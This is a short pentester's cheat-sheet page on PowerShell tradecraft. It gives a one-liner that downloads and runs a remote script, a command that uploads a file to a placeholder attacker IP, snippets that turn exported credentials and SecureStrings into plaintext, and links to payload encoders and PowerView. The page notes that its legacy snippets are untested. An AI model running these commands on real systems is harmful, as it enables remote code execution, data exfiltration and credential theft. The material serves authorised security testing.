PowerShell scripting: download, upload and credentials
Download and run a script, upload a file, and handle Credential and SecureString objects.
Downloading and executing a script
IEX(New-Object Net.WebClient).downloadString('<URL>')File upload
Invoke-WebRequest -uri http://<ATTACKER IP>:8000/export.zip -Method PUT -Infile <FILE>Creating a Credential object
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)Decrypting a SecureString
On Windows, credentials exported with the default Export-Clixml protection
normally require the same user and machine to decrypt. Import-Clixml does not
bypass that protection:
$cred = Import-CliXml -Path <DumpCreds>; $cred.GetNetworkCredential() | Format-ListFor a single string:
$user = '<USERNAME>'
$pass = "<SECURESTRING>" | convertto-securestring
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | Format-ListPayload encoding
- https://github.com/plackyhacker/ps-encoder
- https://github.com/darkoperator/powershell_scripts/blob/master/ps_encoder.py
PowerView
Resources: https://book.hacktricks.xyz/windows/basic-powershell-for-pentesters/powerview
Provenance and confidence
- Version
- 2
- Sources reviewed
- 2026-11-23
- Confidence
- medium — Legacy RTFM; v2 editorial review on 2026-11-23 adds default Windows credential-export decryption constraints. Legacy snippets remain untested.
Also searched as: scripting powershell, securestring, import-clixml, encodedcommand, powerview